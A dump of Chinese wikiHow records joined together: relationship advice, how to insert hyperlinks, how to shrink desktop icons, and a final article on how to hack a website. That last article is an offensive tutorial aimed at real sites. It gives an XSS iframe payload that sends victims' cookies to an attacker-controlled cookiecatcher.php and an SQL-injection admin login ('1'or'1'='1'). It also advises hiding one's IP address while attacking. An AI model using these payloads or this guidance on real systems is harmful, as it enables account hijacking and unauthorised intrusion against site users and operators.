不要让这件事影响到你的情绪。\\n感到悲伤和变得情绪化的只会降低你的吸引力，并且可能正中一些大男子主义男生的下怀。开心点，多多微笑。你的生活不会为他忽视你这件事牵绊住。你越开心，他越想为你提供幸福。\\n2-3. 努力争取出去约会。\\n告诉他你想约会，希望他可以理解你想要他立即实行的暗示。如果他没有理解你的暗示，那么你可能需要自己指出来。如果约会很开心，这也只是你付出的一点小代价。\\n记得做一些他喜欢的事情。购物可能是一有机会你就想一整天都要做的事情，但是对他来说可能就不是约会的好主意了。想一想你们是否可以去一个很赞的公园、看电影或者是听他喜欢的乐队的表演等等。\\n穿衣有品位，面带微笑，把头发梳成他喜欢的样子。有的时候，男生需要的仅仅是一个提醒：他的女朋友是附近最漂亮的女生。这应该会激发他的活力和热情。\\n约会时试着把注意力放在美好的事物上。让他一直处于忙碌当中。问他问题。保持幽默、热情和乐观。给他一个使事情变得更好的机会，让他一直记得当初为什么他可以做你的男朋友。\\n如果约会不太顺利，告诉他你希望约会是一次可以好好交流的机会，你担心你没有像以往那样交流。如果他仍旧不在意，那他就不值得你的再次努力。\\n2-4. 如果你觉得他在欺骗你，立即结束你们的关系。\\n当然，有证据是有帮助的：你不会想要仅仅因为你的“感觉”而和他分手。但是如果觉得事情不对，和他谈谈找出究竟哪里出问题了。如果没有出问题的地方，这就是事情的真实情况，那么你可能会想要开始寻找新的男朋友，因为你们两个之间并不来电。\\n小提示\\n不要因为每一条你接到的短信或者电话而欣喜若狂，保持冷静。如果他给你打电话或者发信息，从容地回复。花费两倍于他回复你的时间回复他是很棒的主意。\\n如果男生用忽视当作一种表现自己的不开心的“惩罚”措施，当情况好转时告诉他你也不喜欢这种方式对待你。但是如果他继续这样做，你可能会考虑终止这段关系，因为他这样对待你对你的健康是没有好处的。\\n警告\\n不要让他击败你。男生希望女生一直围着他们转。如果情况不好，他忽视你，你不开心或者不幸福，就终止你们的关系。找一个懂得尊重你的人相处你会感觉好很多。\\n\", \"简要回答\": \"你是不是很讨厌你的男朋友忽视你或者不接你电话不回你短信？很多女生都面临过这种情况，但是很多人都觉得这是私人问题。如果你对于应付一个忽视你的男朋友非常厌倦，你想让这种情况有所改变，继续阅读，寻找一些提示。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"快速窍门\", \"步骤\": [{\"编号\": 1, \"标题\": \"给他一点喘息的机会。\", \"描述\": \"可能你现在经常给他发短信，或者在过去的三个小时里你每个小时给他打三次电话。要理解男生和女生是不同的，男生通常想要更多的空间。\\n不要一整天不停给他发信息或者打电话。要试着矜持一点。如果他一整天都没有联系你，和他谈谈他对于你们的关系究竟有什么期待。如果你期待着他根本不会给你的东西，你可能需要另外找一个男朋友了。\\n不要因为毫无意义的事情给他发短信或者打电话。不要仅仅因为谁谁谁分手了（而且你男朋友还不认识），就给你的男朋友打电话。你可能觉得这很重要，但是你的男朋友却不这么认为。\"}, {\"编号\": 2, \"标题\": \"尝试着在“他”的水平上和他交谈。\", \"描述\": \"男生和女生是不一样的。你的男朋友可能会忽略你可能有一千种理由，但是追根究底，原因可能仅仅是因为他觉得你所说的事情一点也不重要。学会在“他”的水平上和他交谈，他肯定会马上感兴趣的。\\n和他谈论一些他所热衷的事物。可能是体育运动，可能是田径，也可能是化学。说真的，可能是任何东西。和他谈论他喜欢做的事情，为他热衷的事物感到兴奋。每个男生都有自己的热衷，你需要发现它。\\n问他一些关于他喜欢的事情的问题。问他为什么会喜欢他喜欢的事情。让他解释他最大的爱好，当初他是如何对这件事感兴趣的。如果你真的是对他感兴趣的事情感到兴奋，他是不会忽视你的。\\n当他做一件事正顺的时候不要打扰他。如果他正因为某件事兴奋的时候，让他一直讲话。当他到达巅峰的时候不要打断他。\"}, {\"编号\": 3, \"标题\": \"学会要求尊重。\", \"描述\": \"如果他觉得可以通过忽视你而逃离某些情况，并且你容许他这样做，那么他就会这样做。如果你要求他尊重你，告诉他哪些是你可以容忍的哪些不是，他就不会有其他的选择了。\\n告诉他你是怎么想的。告诉他你需要更好的沟通和交流，并且你也想要更好地交流。如果沟通没有改善就告诉他，你可能会考虑终止沟通。\\n如果他爱你尊重你，他会立即改变。如果他不爱你并且不尊重你，为什么你还要和他在一起呢？\"}, {\"编号\": 4, \"标题\": \"要坦率。\", \"描述\": \"如果他因为某些原因不理你了，就问他。你是不是让他心烦了？你是不是偶然间说了不该说的话？如果他因为某个特殊的原因而表现异常，你会想要知道为什么，这样的话你就不会再冒险这样说或者这样做了。\\n如果他告诉你他只是需要更多的空间，想清楚你是否可以容忍这样。如果是那种想要和男朋友一直在一起的人，并且这种空间对你来说是很难接受的，事情就难办了。\"}]}, {\"编号\": 2, \"标题\": \"转变你们的关系\", \"步骤\": [{\"编号\": 1, \"标题\": \"给他一些冷落。\", \"描述\": \"和你的朋友包括男性朋友一起出去玩一玩。让他知道你也是有自己的生活的，并且让他知道你让他成为你生活的一部分是他的幸运。\\n大多数的男生都会立即跑回来并且停止忽视你，特别是你正在和其他男生在外面玩。他们会变得有领地意识的。这就是男生。\\n如果他没有回头而是继续忽视你，问一下自己是不是还想继续保持这段感情。从其他人那里获得的100%的成就可能比从他那里获得的50%的成就要好点。\"}, {\"编号\": 2, \"标题\": \"不要让这件事影响到你的情绪。\", \"描述\": \"感到悲伤和变得情绪化的只会降低你的吸引力，并且可能正中一些大男子主义男生的下怀。开心点，多多微笑。你的生活不会为他忽视你这件事牵绊住。你越开心，他越想为你提供幸福。\"}, {\"编号\": 3, \"标题\": \"努力争取出去约会。\", \"描述\": \"告诉他你想约会，希望他可以理解你想要他立即实行的暗示。如果他没有理解你的暗示，那么你可能需要自己指出来。如果约会很开心，这也只是你付出的一点小代价。\\n记得做一些他喜欢的事情。购物可能是一有机会你就想一整天都要做的事情，但是对他来说可能就不是约会的好主意了。想一想你们是否可以去一个很赞的公园、看电影或者是听他喜欢的乐队的表演等等。\\n穿衣有品位，面带微笑，把头发梳成他喜欢的样子。有的时候，男生需要的仅仅是一个提醒：他的女朋友是附近最漂亮的女生。这应该会激发他的活力和热情。\\n约会时试着把注意力放在美好的事物上。让他一直处于忙碌当中。问他问题。保持幽默、热情和乐观。给他一个使事情变得更好的机会，让他一直记得当初为什么他可以做你的男朋友。\\n如果约会不太顺利，告诉他你希望约会是一次可以好好交流的机会，你担心你没有像以往那样交流。如果他仍旧不在意，那他就不值得你的再次努力。\"}, {\"编号\": 4, \"标题\": \"如果你觉得他在欺骗你，立即结束你们的关系。\", \"描述\": \"当然，有证据是有帮助的：你不会想要仅仅因为你的“感觉”而和他分手。但是如果觉得事情不对，和他谈谈找出究竟哪里出问题了。如果没有出问题的地方，这就是事情的真实情况，那么你可能会想要开始寻找新的男朋友，因为你们两个之间并不来电。\"}], \"小提示\": [\"不要因为每一条你接到的短信或者电话而欣喜若狂，保持冷静。如果他给你打电话或者发信息，从容地回复。花费两倍于他回复你的时间回复他是很棒的主意。\\n\", \"如果男生用忽视当作一种表现自己的不开心的“惩罚”措施，当情况好转时告诉他你也不喜欢这种方式对待你。但是如果他继续这样做，你可能会考虑终止这段关系，因为他这样对待你对你的健康是没有好处的。\\n\"], \"注意事项\": [\"不要让他击败你。男生希望女生一直围着他们转。如果情况不好，他忽视你，你不开心或者不幸福，就终止你们的关系。找一个懂得尊重你的人相处你会感觉好很多。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,666 | 如何插入超链接 | 1. 在电子邮件和博客中插入超链接
1-1. 打开你的网络浏览器。
前往你想要插入到邮箱和博客的网页。
1-2. 用鼠标选中地址栏，此时网页地址将被高亮标记。
右键点击鼠标，选择下拉菜单中的“复制”选项。
1-3. 打开另一个浏览器标签页。
前往你的电子邮箱，如Gmail、Outlook或雅虎邮箱。该方法也适用于在WordPress或其它程序中使用格式工具栏来编辑文本。
1-4. 开始编辑你的邮件或博客。
当你需要插入超链接时，点击格式工具条里的小链状图标。超链接的图标看上去像是两个相连的链子，有时候会直接标有“links”、“超链接”字样。
1-5. 将你的光标放在空白的URL栏，右键单击URL栏，选择“粘贴”。
1-6. 将你的光标移动到“描述”框内。
然后输入可以描述超链接内容的语句。你可以参考以下两种“描述”：
如果你想在文本中展示超链接的具体地址，那么你可以将链接的URL地址复制到描述框内。当别人点击该URL地址时，他们的浏览器就会打开超链接的网页。
或者，你可以输入“点击这里”或“查看全文”来描述超链接网页。单击该描述即可打开超链接网页。
输入到描述框内的语句会变成蓝色，并且文字下方会被下划线标记。这样的语句表明此处已插入超链接。
1-7. 完成邮件或博文。
点击发送邮件或发表博文按钮，此时插入的超链接也处于激活状态了（即你可以通过点击超链接来链接到指定网页了）。
1-8. 当你处于程序的编辑模式下，你可以选定超链接来删除它。
选定链接后，点击那个看上去像断链的图标。这样就能断开超链接了。
2. 在文档中插入超链接
2-1. 打开文字处理程序。
复制你的网页链接。
该方法也适用于像谷歌Drive这样的在线文档程序，以及像微软Excel这样的电子数据表程序。
有些程序（像最新版的微软Word）可以将输入到程序里的网址自动生成超链接。
2-2. 在文档中编辑内容。
将你的光标放置在你想要插入超链接的地方。
2-3. 前往程序上方的工具栏。
点击插入菜单。
2-4. 找到菜单中的“链接”或“超链接”选项。
2-5. 在地址栏里粘贴你之前复制的URL地址。
2-6. 在描述框内输入描述。
然后点击“确定”或回车键来插入超链接。如果你想要编辑插入的超链接，那么选定链接，然后进行编辑。
2-7. 选中并删除链接。
返回到插入菜单，然后点击链接选项。点击对话框中的“删除链接”按钮。
3. 在网页中插入超链接
3-1. 进入你想插入的链接网页。
HTML是一种用于创建格式化网页的标记语言。网页中的超链接可以优化网页的搜索引擎功能，提高网页的实用性。
3-2. 选中网址。
然后单击鼠标右键，选择下拉菜单中的“复制”选项。 你也可以使用键盘上的快捷按钮（同时按住“Control”键和“C”键）来复制网址。
复制URL地址时，应复制包括http://www.等内容的完整地址。 确保地址的完整性。
3-3. 前往到目标网页。
登录你的网页，这样你就可以编辑网页的HTML代码。
3-4. 找到你想要插入超链接的地方。
按下回车键，这样你就可以在新的一行中插入你的超链接代码。插入的链接需要用<a>来标记。
3-5. 输入<a href=作为开口标签的起始。
3-6. 接下来将URL地址复制到<a href=后面。超链接地址的前后都带有双引号，然后再用括号将代码封闭。例如：<a href=”http://www.example1.net”>。
3-7.
在链接地址处输入你想要显示的描述文本。例如“点击此处”。现在HTML代码就变为<a href=http://www.example1.net”>点击此处
然后在右边添加结束标记</a>。这样我们的例子就变成了<a href=http://www.example1.net”>点击此处</a>。重复上面的步骤可以在多个网页中插入超链接。
小提示
你也可以在图片上添加超链接。选中图片，然后进入插入菜单或点击链接格式按钮来插入超链接。点击带有超链接的图片，可以查看大图或进入特定网页中。
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"create_time": "20230517 11:02:13",
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"问题明细": "",
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} | wikihow |
14,667 | 如何缩小桌面图标 | 1. Windows 7和Windows Vista
在桌面的空白位置右击鼠标。
这时将弹出一个菜单。把鼠标移动到（View）并选择下一级子菜单中的（Small Icons）（Vista系统应选）。
该操作将把图标设定为比默认的“中等图标”更小。
另外，您可以选中桌面上的任意图标，按下Control键（即Ctrl），同时使用鼠标的滑轮调整图标的大小。这种方法虽然没有通过菜单中的“查看”选项进行设置那样能得到大小准确定义的图标，但是更加灵活。
2. Windows XP
2-1. 在桌面的空白位置右击鼠标。
这时将弹出一个上下文菜单。选择（Properties）。
2-2. 选择显示属性（Display Properties）对话框中的外观（Apperance）标签，然后点击高级（Advanced）按钮。
2-3. 在高级显示（Advanced Apperance）对话框中，选择“对象”（Item）下拉列表中的“图标”（Icon）选项。
在右侧的“大小”（Size）域中设定图标的大小。
3. Mac OS X
3-1. 在桌面的空白位置右击鼠标。
这时将弹出一个上下文菜单。选择菜单中的（Show View Options）。
3-2. 通过滑动条调整图标大小。
图标大小范围为16像素平方至128像素平方，增值为4。
小提示
在Windows和Mac系统中，您都可以手动地点击并拖拉图标到所需位置以排列桌面。您也可以让系统自动地根据不同的条件排列图标，如名称、类型、创建日期等，在桌面空白处右击鼠标，选择“排列图标”（Arrange Icons）然后选择排列依据即可。
如果您有一台装有Windows 7系统并带有多点触控触摸板的笔记本电脑，您可以利用手指缩放手势功能来增大或缩小桌面图标。
警告
放置过多图标在系统桌面上将会影响系统运行速度。同时要在桌面找到所需内容也令人头痛。
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"回答明细": "{\"回答\": \"1. Windows 7和Windows Vista\\n在桌面的空白位置右击鼠标。\\n这时将弹出一个菜单。把鼠标移动到（View）并选择下一级子菜单中的（Small Icons）（Vista系统应选）。\\n该操作将把图标设定为比默认的“中等图标”更小。\\n另外，您可以选中桌面上的任意图标，按下Control键（即Ctrl），同时使用鼠标的滑轮调整图标的大小。这种方法虽然没有通过菜单中的“查看”选项进行设置那样能得到大小准确定义的图标，但是更加灵活。\\n2. Windows XP\\n2-1. 在桌面的空白位置右击鼠标。\\n这时将弹出一个上下文菜单。选择（Properties）。\\n2-2. 选择显示属性（Display Properties）对话框中的外观（Apperance）标签，然后点击高级（Advanced）按钮。\\n\\n2-3. 在高级显示（Advanced Apperance）对话框中，选择“对象”（Item）下拉列表中的“图标”（Icon）选项。\\n在右侧的“大小”（Size）域中设定图标的大小。\\n3. Mac OS X\\n3-1. 在桌面的空白位置右击鼠标。\\n这时将弹出一个上下文菜单。选择菜单中的（Show View Options）。\\n3-2. 通过滑动条调整图标大小。\\n图标大小范围为16像素平方至128像素平方，增值为4。\\n小提示\\n在Windows和Mac系统中，您都可以手动地点击并拖拉图标到所需位置以排列桌面。您也可以让系统自动地根据不同的条件排列图标，如名称、类型、创建日期等，在桌面空白处右击鼠标，选择“排列图标”（Arrange Icons）然后选择排列依据即可。\\n如果您有一台装有Windows 7系统并带有多点触控触摸板的笔记本电脑，您可以利用手指缩放手势功能来增大或缩小桌面图标。\\n警告\\n放置过多图标在系统桌面上将会影响系统运行速度。同时要在桌面找到所需内容也令人头痛。\\n\", \"简要回答\": \"桌面图标可以作为程序的快捷方式，也可以作为常用文件的一个集中存储处。为了腾出更多桌面空间以及添加更多的图标，您可以缩小系统中的桌面图标。下面步骤详细介绍了如何在Windows 7，Vista，XP以及Mac OS X系统中缩小桌面图标。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"Windows 7和Windows Vista\", \"步骤\": [{\"编号\": 1, \"标题\": \"在桌面的空白位置右击鼠标。\", \"描述\": \"这时将弹出一个菜单。把鼠标移动到（View）并选择下一级子菜单中的（Small Icons）（Vista系统应选）。\\n该操作将把图标设定为比默认的“中等图标”更小。\\n另外，您可以选中桌面上的任意图标，按下Control键（即Ctrl），同时使用鼠标的滑轮调整图标的大小。这种方法虽然没有通过菜单中的“查看”选项进行设置那样能得到大小准确定义的图标，但是更加灵活。\"}]}, {\"编号\": 2, \"标题\": \"Windows XP\", \"步骤\": [{\"编号\": 1, \"标题\": \"在桌面的空白位置右击鼠标。\", \"描述\": \"这时将弹出一个上下文菜单。选择（Properties）。\"}, {\"编号\": 2, \"标题\": \"选择显示属性（Display Properties）对话框中的外观（Apperance）标签，然后点击高级（Advanced）按钮。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"在高级显示（Advanced Apperance）对话框中，选择“对象”（Item）下拉列表中的“图标”（Icon）选项。\", \"描述\": \"在右侧的“大小”（Size）域中设定图标的大小。\"}]}, {\"编号\": 3, \"标题\": \"Mac OS X\", \"步骤\": [{\"编号\": 1, \"标题\": \"在桌面的空白位置右击鼠标。\", \"描述\": \"这时将弹出一个上下文菜单。选择菜单中的（Show View Options）。\"}, {\"编号\": 2, \"标题\": \"通过滑动条调整图标大小。\", \"描述\": \"图标大小范围为16像素平方至128像素平方，增值为4。\"}], \"小提示\": [\"在Windows和Mac系统中，您都可以手动地点击并拖拉图标到所需位置以排列桌面。您也可以让系统自动地根据不同的条件排列图标，如名称、类型、创建日期等，在桌面空白处右击鼠标，选择“排列图标”（Arrange Icons）然后选择排列依据即可。\\n\", \"如果您有一台装有Windows 7系统并带有多点触控触摸板的笔记本电脑，您可以利用手指缩放手势功能来增大或缩小桌面图标。\\n\"], \"注意事项\": [\"放置过多图标在系统桌面上将会影响系统运行速度。同时要在桌面找到所需内容也令人头痛。\\n\"]}]}}",
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14,668 | 如何知道你的男友是否在利用你 | 1. 分析你的疑虑
1-1. 回想他通常在什么时候来找你。
他是否只愿意在晚上见你？他愿意花时间陪伴你吗？也许只有当你受邀参加某个炫酷的派对时，他才恰巧有时间同行。从现在开始密切留意他和你见面的时间，因为这能充分解释他的动机。
1-2. 想想他通常和你在哪里见面。
如果他只愿意和你呆在卧室，那可就危险了。如果他从来不愿意带你去见他的朋友，每次只和你单独在他家里见面，那说明他没兴趣公开和你的关系，也不想你正式走入他的生活。
1-3. 将这些危险的信号全部记下来。
仔细分析每条信号。他会经常说些让你困扰的话，或做些让你不安的事情吗？也许一直以来，你的这些想法和忧虑只在脑海中酝酿，你从来没正式收集和整理它们，所以做记录非常有必要。
他是不是一次次触犯你的底线？或者你还在为六个月前发生的哪件事耿耿于怀？虽说人在恋爱时要步步为营，坚持立场，但是如果对方真心悔过，你也要学着原谅和忘却。
他是否说了会给你打电话却又忘得一干二净？他是否在你生日这天因为其它事情而放你鸽子？这些事情当然让你觉得气愤，感到不能接受。对他所犯的错误一条条地分析，诚实地问问自己：他的所作所为到底有多严重？你的心情受到了怎样的影响？
1-4. 找信得过的朋友或家人聊聊。
有时，你身边的人能看到一些你看不到的真相。不论是传闻、警告还是建议，对于迷茫中的你来说都是一种帮助。但是记住，恋爱说到底是两个人的事情。
不要把你们俩的矛盾到处宣扬，这样做只会制造更多问题。你应该只向那些信得过并且带着善意的人咨询意见。
1-5. 决定你该怎么做。
如果分析了情况，咨询了信任的人后，你觉得你的怀疑是多余的，那么你要决定接下来怎么做。也许你应该多多信任对方，这样你们的关系才能变得更加坚固。如果你认为自己的忧虑合情合理，那就想办法和他当面说清。
2. 观察并测试对方
2-1. 别再顺着他的意。
换句话说，想想他图的是什么，然后彻底断了他的念想。接着，观察他的反应。如果你们的感情健康稳定，总有些事情能让你的男友感到快乐和满足。如果你们俩因为某个变化就闹得很不愉快，那说明你们的感情出了问题。
2-2. 如果你觉得对方只是为了和你上床，或者迷恋你的身体才和你在一起，告诉他你需要冷静一下。
如果他只想你和每晚在卧室厮混，你就说你更喜欢和他白天去外面约会。当他开始对你动手动脚时，提醒他你现在没心情。总之，要求他尊重你的决定，不要过界。
如果你不知道怎么开口，就说，“我觉得我们应该把精力放在交流情感上，身体上的亲密接触还是暂时停一停吧。”你可以通过他的反应判断出他是否在利用你。如果他同意你的要求，想和你走得更长远，他就会陪在你身边。如果他因为不能和你上床就冷落你，这样的男人不要也罢。
记住，你的身体你做主。只要你"不愿意"，对方就必须尊重你的决定，这一点非常重要。
2-3. 假如你认为他图的是财，就看好自己的钱财。
告诉他你不想再为他花钱。如果他问为什么，你就找个借口。有些男人宠爱女友的方式是在她们身上花大笔的钱。如果男人做不到这一点也完全能够理解，可要是一个大男人要求你花钱买他开心，那可就没道理了。如果没有钱他就对你失去了兴趣，那问题可就严重了。
告诉你的男友你打算开始存钱，所以需要开源节流。当他下一次找你要钱，或者让你给他买东西时，提醒他你正在存钱。前面也说过，你可以通过他的反应读出你想知道的信息。
不论他图的是名气、礼物，还是其它的什么，你都可以用同样的方法检验出他的真实目的。对方一开始可能难以接受，但一个称职的男友会对你不离不弃，因为他相信和你在一起胜过一切。
2-4. 留意他为你做的事。
当你沉浸在爱情中时，可能注意不到对方是否为你做了什么事情。当你迷恋一个人的时候，你自然会为他找各种理由开脱。但是，从现在开始，你要留意他为你做了什么，或者没做什么。这并不一定表示他必须送你玫瑰花，或者带你去高档餐厅吃饭。你要留意的是那些虽然简单却能够证明他关心你的事。
比如，在你感到困乏的时候，他会给你端来一杯咖啡吗？当你遇到麻烦或者困难的时候，他会给你发来鼓励的短信吗？这些行为虽然简单，但都能充分说明他对你的爱。
2-5. 注意真诚的赞美和阿谀奉承之间的区别。
假如他说他喜欢你的幽默感，愿意聆听你的烦恼，说明这个人是真的关心你。如果他先是把你夸得貌若天仙，接着就有求于你，那你可得当心。
特别留意他是否为你做了一些事却不求回报。如果他所做的事情只是为了博你欢心，这绝对是个好的迹象。
2-6. 给自己独处的时间。
你不必大张旗鼓地向男友宣布你的决定，只要想办法稍微和他分开一段时间就可以了。当你们在一起的时候，你很容易接受他不好的行为，忽略那些危险的信号。不管你是被爱情迷了眼，还是害怕拒绝他的要求，只要他在你面前，你就无法理性地思考。
趁着和他分开的机会反思你们的关系。你付出的和得到的一样多吗？如果你们的感情正常健康，双方应该能够共同受益。
既然你们暂时分开，他也不能从你这儿得到任何的好处，你正好可以看看他在一个人的时候是如何表现的。
3. 找男友谈话
3-1. 安排时间和男友心平气和地聊聊你们的问题。
你一定要事先告诉他你想聊的事情很重要，不然突然面对这样的话题时，他可能会百般狡辩，甚至火冒三丈。事先告知聊天的内容，让男友有时间反思你们的关系，为谈话做充分的准备。事先安排也给了你平复心情、整理思绪和思考如何向他提问的时间。
开始对话时，你一定要有沉着的心态和冷静的头脑。即使你觉得心痛又愤怒，也不能对着他一边哭嚎，一边咒骂，因为那样的对话没有任何成效。
3-2. 诉说你的忧虑。
你要直截了当，但不能搞人身攻击。不要淡化或隐瞒你的真实感受。你有权利说出自己的心情，不要因为不安或者尴尬就羞于表达。把所有的事情摊到桌面上说，给他解释自己、安慰你、承认错误或者痛改前非的机会。
你们的对话要以“我”，而不是“你”开头，这样才不会让他感觉受到了攻击。你可以说，“我们只有晚上才能在一起，这让我觉得很伤心。”这种说法听起来比“你只有晚上才给我打电话，我很讨厌这样”更能让人接受。
3-3. 听男友解释。
就算你确信他一直在利用你，你的担忧是有道理的，还是要让他为自己辩解。这对你来说也是一种了结。为了不让气氛变得更加紧张，他说话的时候不要打断他。 如果你不同意他的话，等他说完后再指出来。当你说出自己的担忧后，把话语权交给他，然后趁机分析他的反应。他是否后悔不已，立即向你表达歉意？还是百般狡辩，言语粗俗？
记住，你的感受是正当合理的。就算他坚持自己什么都没做错，你也不需要因为自己的消极情绪而感到羞愧。
3-4. 无论是和他继续在一起还是分道扬镳，你都要决定如何重新开始。
当你把困扰你的问题说出来，让对方知道你的真实感受后，接着就该决定何去何从。如果他的解释或道歉不能让你感到心安，不能解除你对你们未来的担忧，也许是时候结束这段感情了。
如果你确认他是因为爱你才和你在一起，决定和他继续交往下去，那么你一定要为你们的未来制定计划。如果你的感情受到了伤害，你觉得你付出的远超过自己得到的，那就想办法解决问题。如果什么也不做，你们的关系还是会回到以前的样子。
3-5. 把你学到的记在心里，并在以后运用起来。
在识别不安全感的来源，学习站稳脚跟，勇敢面对，继续前进的过程中，你将学到一些宝贵的教训。你会意识到哪些行为可以原谅，哪些行为不可接受，然后研究出一套处理冲突的方法，并将其熟练应用。被人利用的感觉肯定不好受，但正因为有了这些经历，日后你才能在和男友相处时要求他尊重你，善待你。
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如果你觉得对方只是为了和你上床，或者迷恋你的身体才和你在一起，告诉他你需要冷静一下。\\n如果他只想你和每晚在卧室厮混，你就说你更喜欢和他白天去外面约会。当他开始对你动手动脚时，提醒他你现在没心情。总之，要求他尊重你的决定，不要过界。\\n如果你不知道怎么开口，就说，“我觉得我们应该把精力放在交流情感上，身体上的亲密接触还是暂时停一停吧。”你可以通过他的反应判断出他是否在利用你。如果他同意你的要求，想和你走得更长远，他就会陪在你身边。如果他因为不能和你上床就冷落你，这样的男人不要也罢。\\n记住，你的身体你做主。只要你\\\"不愿意\\\"，对方就必须尊重你的决定，这一点非常重要。\\n2-3. 假如你认为他图的是财，就看好自己的钱财。\\n告诉他你不想再为他花钱。如果他问为什么，你就找个借口。有些男人宠爱女友的方式是在她们身上花大笔的钱。如果男人做不到这一点也完全能够理解，可要是一个大男人要求你花钱买他开心，那可就没道理了。如果没有钱他就对你失去了兴趣，那问题可就严重了。\\n告诉你的男友你打算开始存钱，所以需要开源节流。当他下一次找你要钱，或者让你给他买东西时，提醒他你正在存钱。前面也说过，你可以通过他的反应读出你想知道的信息。\\n不论他图的是名气、礼物，还是其它的什么，你都可以用同样的方法检验出他的真实目的。对方一开始可能难以接受，但一个称职的男友会对你不离不弃，因为他相信和你在一起胜过一切。\\n2-4. 留意他为你做的事。\\n当你沉浸在爱情中时，可能注意不到对方是否为你做了什么事情。当你迷恋一个人的时候，你自然会为他找各种理由开脱。但是，从现在开始，你要留意他为你做了什么，或者没做什么。这并不一定表示他必须送你玫瑰花，或者带你去高档餐厅吃饭。你要留意的是那些虽然简单却能够证明他关心你的事。\\n比如，在你感到困乏的时候，他会给你端来一杯咖啡吗？当你遇到麻烦或者困难的时候，他会给你发来鼓励的短信吗？这些行为虽然简单，但都能充分说明他对你的爱。\\n2-5. 注意真诚的赞美和阿谀奉承之间的区别。\\n假如他说他喜欢你的幽默感，愿意聆听你的烦恼，说明这个人是真的关心你。如果他先是把你夸得貌若天仙，接着就有求于你，那你可得当心。\\n特别留意他是否为你做了一些事却不求回报。如果他所做的事情只是为了博你欢心，这绝对是个好的迹象。\\n2-6. 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无论是和他继续在一起还是分道扬镳，你都要决定如何重新开始。\\n当你把困扰你的问题说出来，让对方知道你的真实感受后，接着就该决定何去何从。如果他的解释或道歉不能让你感到心安，不能解除你对你们未来的担忧，也许是时候结束这段感情了。\\n如果你确认他是因为爱你才和你在一起，决定和他继续交往下去，那么你一定要为你们的未来制定计划。如果你的感情受到了伤害，你觉得你付出的远超过自己得到的，那就想办法解决问题。如果什么也不做，你们的关系还是会回到以前的样子。\\n3-5. 把你学到的记在心里，并在以后运用起来。\\n在识别不安全感的来源，学习站稳脚跟，勇敢面对，继续前进的过程中，你将学到一些宝贵的教训。你会意识到哪些行为可以原谅，哪些行为不可接受，然后研究出一套处理冲突的方法，并将其熟练应用。被人利用的感觉肯定不好受，但正因为有了这些经历，日后你才能在和男友相处时要求他尊重你，善待你。\\n\", \"简要回答\": \"你最近感到非常苦恼。以为遇到了真命天子，迫不及待想要将这位新男友介绍给大家，但是事情好像有些不对劲。你心里总觉得隐隐不安，从他的某些行为中看到了危险的信号，朋友们甚至警告你远离这个男人。一切迹象都在提醒你保持高度警惕。他是在利用你吗？如果你的答案是肯定的，弄清楚她贪图的是你的身体、财富还是名气，然后决定是否和他继续交往下去。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"分析你的疑虑\", \"步骤\": [{\"编号\": 1, \"标题\": \"回想他通常在什么时候来找你。\", \"描述\": \"他是否只愿意在晚上见你？他愿意花时间陪伴你吗？也许只有当你受邀参加某个炫酷的派对时，他才恰巧有时间同行。从现在开始密切留意他和你见面的时间，因为这能充分解释他的动机。\"}, {\"编号\": 2, \"标题\": \"想想他通常和你在哪里见面。\", \"描述\": \"如果他只愿意和你呆在卧室，那可就危险了。如果他从来不愿意带你去见他的朋友，每次只和你单独在他家里见面，那说明他没兴趣公开和你的关系，也不想你正式走入他的生活。\"}, {\"编号\": 3, \"标题\": \"将这些危险的信号全部记下来。\", \"描述\": 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14,669 | 如何入侵一个网站 | 1. 使用跨站点脚本处理方法
1-1. 找个安全性低的可以发帖的网站。
比如可以发布信息帖子的网站。注意，如果网站安全性强，下面入侵方法就不起作用。
1-2. 创建帖子。
要在帖子内容中输入一些内容，这样不管谁点击了帖子，数据都会被窃取。
你可以测试一下，看看该网站系统会不会过滤代码。在帖子中输入<script...>alert(“test”)</...script> （把句点删掉）。如果点击帖子的时候，会出现一个警告窗口，说明站点易受攻击。
1-3. 创建并上传cookie捕捉器。
本攻击的目的是窃取用户的cookie内容，通过cookie内容，你就可以轻松登录安全性弱的网站，进入对方的账户。这里你需要准备cookie捕捉器（某种代码），这个代码会捕捉用户的cookie并转发出去，你可以给一个可以登录的，又支持PHP网页的网站上传一个捕捉器。例子里有个cookie捕捉器供参考。
1-4. 将帖子和cookie捕捉器一起发布出去。
输入一定的代码，就可以让帖子抓取用户的cookie，并发送到你的网站中去。你需要在代码之后输入一些文字，减少访客的怀疑，并减少管理员删帖的几率。
cookie捕捉器的例子：<...iframe... frameborder= 0 height=0 width=0 src=javascript...:void(document.location=”YOURURL/cookiecatcher.php?c=”+document.cookie)><.../iframe>（将句点删掉。）
1-5. 使用抓取的cookies。
之后就可以将抓取的cookie发送到你的网站，你可以随意使用对方的cookies了。
2. 执行注入式攻击
2-1. 找到安全性低的网站。
你要找到一个管理员（admin）账户安全性低、容易破解的网站。你可以在google上找 admin login.asp 这两个关键词。
2-2. 以管理员身份登录。
输入admin作为用户名，然后用数字或一串字母作为密码登录进去。密码可能是任何数字和字母的组合，但最常见的例子有1’或’1’=’1。
2-3. 耐心点。
可能会试错几次密码，所以要久一点。
2-4. 进入网站。
最后就可以以某个密码登录进安全性低的网站，进行入侵了。
3. 为成功入侵做准备
3-1. 学一两种编程语言。
要是你想要真正掌握破解网站的本质方法，你得了解电脑和各种互联网运行的方式。可以学一两种像Python或SQL的编程语言，这样你就可以更好地掌控电脑，找出网站系统中的脆弱点了。
3-2. 学好HTML基础知识。
你也需要对HTML和javascript有很好的了解，这样就能针对性地破解某些网页了。这些代码需要一段时间的学习，不过网上有很多很好的学习资料，要是你仔细找的话，不愁找不到的。
3-3. 咨询白帽黑客。
白帽黑客是身具黑客知识，把能力发挥在正当之处的特殊黑客。白帽黑客会曝光安全漏洞，还会让互联网更稳定实用。要是你也想发挥正义的力量，或者想保护自家网站的安全，你可以咨询一些白帽黑客了解一些建议。
3-4. 做做研究。
想了解怎么入侵网站，或者想要保护自己的网站，你需要做很多研究工作。网站受攻击的方式有很多种的，所以要坚持学习相关知识。
3-5. 保持更新。
因为网站的入侵方式也在不断变化，你要确保自己跟上最前沿的相关知识。一种攻击奈何不了你，不代表你就没有其他漏洞了！
小提示
访问黑客论坛，了解各种有用的技巧。
警告
要是你在现实生活中尝试入侵网站，用一些软件掩盖住你的IP地址。
